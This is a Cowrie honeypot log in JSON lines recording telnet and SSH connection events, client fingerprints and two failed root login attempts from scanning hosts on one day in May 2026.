{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34260,"dst_ip":"10.17.0.5","dst_port":23,"session":"491375487e06","protocol":"telnet","message":"New connection: 23.111.140.22:34260 (10.17.0.5:23) [session: 491375487e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:11.240082Z"}
{"eventid":"cowrie.session.closed","duration":32.8121874332428,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:11.605285Z","src_ip":"23.111.140.22","session":"58aeba5515b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480751276016235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:12.038204Z","src_ip":"23.111.140.22","session":"8b5cfa52d11d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34165930747986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:12.682328Z","src_ip":"23.111.140.22","session":"ea29561bdac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0478093624115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:12.779320Z","src_ip":"23.111.140.22","session":"c8d7747892a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":54500,"dst_ip":"10.17.0.5","dst_port":22,"session":"acf97abe0fe6","protocol":"ssh","message":"New connection: 59.17.95.129:54500 (10.17.0.5:22) [session: acf97abe0fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:12.864508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:12.870105Z","src_ip":"59.17.95.129","session":"acf97abe0fe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:13.072282Z","src_ip":"59.17.95.129","session":"acf97abe0fe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40858,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c7be0472e6","protocol":"telnet","message":"New connection: 23.111.140.22:40858 (10.17.0.5:23) [session: 47c7be0472e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:13.410128Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37800,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2078434998e","protocol":"telnet","message":"New connection: 23.111.140.22:37800 (10.17.0.5:23) [session: f2078434998e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:13.414981Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41032,"dst_ip":"10.17.0.5","dst_port":23,"session":"61c377fee182","protocol":"telnet","message":"New connection: 23.111.140.22:41032 (10.17.0.5:23) [session: 61c377fee182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:13.473931Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"zz123456@","message":"login attempt [root/zz123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:13.913938Z","src_ip":"59.17.95.129","session":"acf97abe0fe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.600253105163574,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:14.612764Z","src_ip":"23.111.140.22","session":"a17821ad9428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:15.119123Z","src_ip":"59.17.95.129","session":"acf97abe0fe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":44776,"dst_ip":"10.17.0.5","dst_port":22,"session":"5095941a13cc","protocol":"ssh","message":"New connection: 202.145.0.61:44776 (10.17.0.5:22) [session: 5095941a13cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:15.266806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:15.273668Z","src_ip":"202.145.0.61","session":"5095941a13cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50096,"dst_ip":"10.17.0.5","dst_port":23,"session":"17325eebc8ad","protocol":"telnet","message":"New connection: 23.111.140.22:50096 (10.17.0.5:23) [session: 17325eebc8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:15.436689Z"}
{"eventid":"cowrie.session.closed","duration":0.005370616912841797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:15.441917Z","src_ip":"23.111.140.22","session":"17325eebc8ad","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:15.507127Z","src_ip":"202.145.0.61","session":"5095941a13cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.7607364654541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:16.234817Z","src_ip":"23.111.140.22","session":"727912953d30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.69286847114563,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:16.400200Z","src_ip":"23.111.140.22","session":"54abe589947d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3503839969635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:16.431019Z","src_ip":"23.111.140.22","session":"57264f07650a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft1","message":"login attempt [root/minecraft1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:16.472218Z","src_ip":"202.145.0.61","session":"5095941a13cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.596115589141846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:16.550527Z","src_ip":"23.111.140.22","session":"4dbe62df4709","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.492759227752686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:16.840814Z","src_ip":"23.111.140.22","session":"06751df94f6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51283645629883,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:16.942937Z","src_ip":"23.111.140.22","session":"231b4b95f676","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51710,"dst_ip":"10.17.0.5","dst_port":23,"session":"a07eefdc97d1","protocol":"telnet","message":"New connection: 23.111.140.22:51710 (10.17.0.5:23) [session: a07eefdc97d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:17.117052Z"}
{"eventid":"cowrie.session.closed","duration":30.891435384750366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:17.165622Z","src_ip":"23.111.140.22","session":"f5b09db65b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.557278871536255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:17.405664Z","src_ip":"23.111.140.22","session":"01bf01dda3ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53318,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99a06068ee5","protocol":"telnet","message":"New connection: 23.111.140.22:53318 (10.17.0.5:23) [session: f99a06068ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:17.681584Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:17.779497Z","src_ip":"202.145.0.61","session":"5095941a13cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50966,"dst_ip":"10.17.0.5","dst_port":23,"session":"df8ba0f50831","protocol":"telnet","message":"New connection: 23.111.140.22:50966 (10.17.0.5:23) [session: df8ba0f50831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:17.893389Z"}
{"eventid":"cowrie.session.closed","duration":32.46473050117493,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:17.916506Z","src_ip":"23.111.140.22","session":"e77e6778e9f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.413555145263672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:18.080568Z","src_ip":"23.111.140.22","session":"9dfda2784566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644679069519043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:18.267082Z","src_ip":"23.111.140.22","session":"32a19c28a869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46830463409424,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:18.390874Z","src_ip":"23.111.140.22","session":"0fc9cdb9089d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.842139720916748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:18.483154Z","src_ip":"23.111.140.22","session":"ed6127b4c4f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.236178159713745,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:18.553116Z","src_ip":"23.111.140.22","session":"5df4b72acfc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.083350658416748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:18.897290Z","src_ip":"23.111.140.22","session":"9292e53915df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09547781944275,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:19.224565Z","src_ip":"23.111.140.22","session":"31090090cfc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02231311798096,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:19.249365Z","src_ip":"23.111.140.22","session":"fc803642d31c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.33677673339844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:19.933818Z","src_ip":"23.111.140.22","session":"60c4cc68b6f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60946,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf12532ecc5c","protocol":"telnet","message":"New connection: 23.111.140.22:60946 (10.17.0.5:23) [session: cf12532ecc5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:20.151602Z"}
{"eventid":"cowrie.session.closed","duration":32.5619752407074,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:20.598908Z","src_ip":"23.111.140.22","session":"cb7445bf55fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53610,"dst_ip":"10.17.0.5","dst_port":23,"session":"2001a9502d9e","protocol":"telnet","message":"New connection: 23.111.140.22:53610 (10.17.0.5:23) [session: 2001a9502d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:20.800249Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d34e34f60309","protocol":"telnet","message":"New connection: 23.111.140.22:34884 (10.17.0.5:23) [session: d34e34f60309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:20.878148Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55160,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21a51eb447e","protocol":"telnet","message":"New connection: 23.111.140.22:55160 (10.17.0.5:23) [session: e21a51eb447e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:21.315741Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40468,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ee2a58fe039","protocol":"telnet","message":"New connection: 23.111.140.22:40468 (10.17.0.5:23) [session: 6ee2a58fe039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:22.697967Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42632,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0f371881f08","protocol":"telnet","message":"New connection: 23.111.140.22:42632 (10.17.0.5:23) [session: b0f371881f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:23.356044Z"}
{"eventid":"cowrie.session.closed","duration":37.133211612701416,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:23.757795Z","src_ip":"23.111.140.22","session":"400ee9fee590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15432858467102,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:23.971211Z","src_ip":"23.111.140.22","session":"f85f0969bddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60364,"dst_ip":"10.17.0.5","dst_port":23,"session":"1457742d9808","protocol":"telnet","message":"New connection: 23.111.140.22:60364 (10.17.0.5:23) [session: 1457742d9808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:24.001879Z"}
{"eventid":"cowrie.session.closed","duration":33.183852195739746,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:24.592727Z","src_ip":"23.111.140.22","session":"a12e5313f6fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46846,"dst_ip":"10.17.0.5","dst_port":23,"session":"ead97eb3992c","protocol":"telnet","message":"New connection: 23.111.140.22:46846 (10.17.0.5:23) [session: ead97eb3992c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:24.777297Z"}
{"eventid":"cowrie.session.closed","duration":31.59482479095459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:25.419307Z","src_ip":"23.111.140.22","session":"655a44d9d4b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.49253582954407,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:25.944933Z","src_ip":"23.111.140.22","session":"802c3bd8ae4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206059455871582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:26.189897Z","src_ip":"23.111.140.22","session":"2d664c70492e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.129987955093384,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:26.300083Z","src_ip":"23.111.140.22","session":"340296738b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884439945220947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:26.504427Z","src_ip":"23.111.140.22","session":"4fab0d0dea4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.438649892807007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:26.920026Z","src_ip":"23.111.140.22","session":"9bde5c529b42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40163707733154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:26.991527Z","src_ip":"23.111.140.22","session":"4b1f9fc90cf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33231472969055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:27.781631Z","src_ip":"23.111.140.22","session":"78dde37b907d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.592817068099976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:28.522686Z","src_ip":"23.111.140.22","session":"4dbf6430b0e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.44313955307007,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:29.493829Z","src_ip":"23.111.140.22","session":"92739ea7c156","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.702025890350342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:29.955503Z","src_ip":"23.111.140.22","session":"2393a1600bbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.566617250442505,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:30.040328Z","src_ip":"23.111.140.22","session":"11ec93f10a4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50852,"dst_ip":"10.17.0.5","dst_port":23,"session":"571fe957c0dd","protocol":"telnet","message":"New connection: 23.111.140.22:50852 (10.17.0.5:23) [session: 571fe957c0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:30.115210Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35114,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e16316f97ba","protocol":"telnet","message":"New connection: 23.111.140.22:35114 (10.17.0.5:23) [session: 5e16316f97ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:30.345767Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36840,"dst_ip":"10.17.0.5","dst_port":23,"session":"29576e1c0b20","protocol":"telnet","message":"New connection: 23.111.140.22:36840 (10.17.0.5:23) [session: 29576e1c0b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:30.874969Z"}
{"eventid":"cowrie.session.closed","duration":32.51821851730347,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:31.117262Z","src_ip":"23.111.140.22","session":"b21fa0fc6efd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37908,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2cc42434a71","protocol":"telnet","message":"New connection: 23.111.140.22:37908 (10.17.0.5:23) [session: c2cc42434a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:31.193764Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36384,"dst_ip":"10.17.0.5","dst_port":23,"session":"53e114fe45b2","protocol":"telnet","message":"New connection: 23.111.140.22:36384 (10.17.0.5:23) [session: 53e114fe45b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:31.750474Z"}
{"eventid":"cowrie.session.closed","duration":30.90659499168396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:31.785272Z","src_ip":"23.111.140.22","session":"fc31c002fe92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38270,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddee1ae55cc8","protocol":"telnet","message":"New connection: 23.111.140.22:38270 (10.17.0.5:23) [session: ddee1ae55cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:32.326380Z"}
{"eventid":"cowrie.session.closed","duration":34.2122106552124,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:32.460521Z","src_ip":"23.111.140.22","session":"f60b8d83338a","protocol":"telnet"}
